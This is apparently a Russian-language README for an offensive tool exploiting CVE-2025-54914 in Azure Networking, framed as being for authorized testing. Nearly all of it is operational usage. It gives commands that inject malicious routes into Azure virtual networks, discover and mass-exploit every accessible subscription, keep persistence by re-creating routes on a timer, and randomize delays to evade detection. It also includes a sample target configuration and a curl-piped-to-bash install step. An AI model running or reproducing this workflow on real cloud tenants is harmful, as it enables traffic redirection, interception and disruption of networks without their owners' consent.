
Эксплойт для CVE-2025-54914 в Azure Networking, создающий вредоносные маршруты с обходом защиты, устойчивостью, многоцелевым сканированием и отчетностью для авторизованного тестирования безопасности.
Это улучшенная реализация эксплойта для маршрутизации сети Azure по уязвимости CVE-2025-54914. Данная версия сохраняет основную функциональность CVE, добавляя такие возможности, как персистентность, обход обнаружения, сканирование нескольких целей и обработка ошибок.
# Установка зависимостей Python
pip install requests
# Установка Azure CLI (для аутентификации)
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
# Назначение прав на выполнение скриптов
chmod +x exploit.py
chmod +x exploit_utils.py
# Аутентификация в Azure
az login
# Создание маршрута на одной цели
python exploit.py \
--subscription-id "12345678-1234-1234-1234-123456789012" \
--resource-group "production-rg" \
--vnet-name "prod-vnet" \
--subnet-name "prod-subnet" \
--address-prefix "10.0.1.0/24" \
--next-hop-ip "10.0.2.5"
# Удаление маршрута
python exploit.py \
--subscription-id "12345678-1234-1234-1234-123456789012" \
--resource-group "production-rg" \
--vnet-name "prod-vnet" \
--subnet-name "prod-subnet" \
--route-name "exploit-route-1" \
--operation delete
# Создание файла конфигурации
python exploit_utils.py discover --output targets.json
# Эксплуатация всех целей
python exploit.py --targets-file targets.json --operation create
# Сканирование целей без эксплуатации
python exploit.py --targets-file targets.json --scan-only
# Включение персистентности с интервалом 30 минут
python exploit.py --targets-file targets.json --persistence-mode --interval 30
# Пользовательские диапазоны задержек для обхода
python exploit.py \
--targets-file targets.json \
--delay-min 1.0 \
--delay-max 5.0 \
--max-workers 5
# Тестирование без фактической эксплуатации
python exploit.py --targets-file targets.json --dry-run
# Включение отладки
python exploit.py \
--targets-file targets.json \
--log-level DEBUG \
--log-file exploit.log
{
"targets": [
{
"subscription_id": "12345678-1234-1234-1234-123456789012",
"resource_group": "production-rg",
"vnet_name": "prod-vnet",
"subnet_name": "prod-subnet",
"route_name": "exploit-route-1",
"address_prefix": "10.0.1.0/24",
"next_hop_type": "VirtualAppliance",
"next_hop_ip": "10.0.2.5",
"api_version": "2025-09-01",
"priority": 1
}
],
"metadata": {
"description": "Конфигурация целей для CVE-2025-54914",
"created": "2025-01-09",
"version": "1.0"
}
}
# Токен доступа Azure (альтернатива Azure CLI)
export AZURE_ACCESS_TOKEN="your_token_here"
# Уровень логирования
export LOG_LEVEL="INFO"
# Обнаружение всех доступных целей
python exploit_utils.py discover --output discovered_targets.json
# Обнаружение конкретных подписок
python exploit_utils.py discover \
--subscription-ids "sub1" "sub2" \
--output targets.json \
--report discovery_report.txt
# Создание конфигурации эксплойта из обнаруженных целей
python exploit_utils.py config \
--input discovered_targets.json \
--output exploit_config.json \
--address-prefix "10.0.1.0/24" \
--next-hop-ip "10.0.2.5"
# Анализ целей для оценки рисков
python exploit_utils.py analyze \
--input targets.json \
--output vulnerability_report.txt
--dry-run--max-workers в зависимости от мощности системы# Повторная аутентификация в Azure
az login
# Проверка текущего аккаунта
az account show
# Список доступных подписок
az account list
# Проверка необходимых разрешений
az role assignment list --assignee $(az account show --query user.name -o tsv)
# Проверка соединения
curl -I https://management.azure.com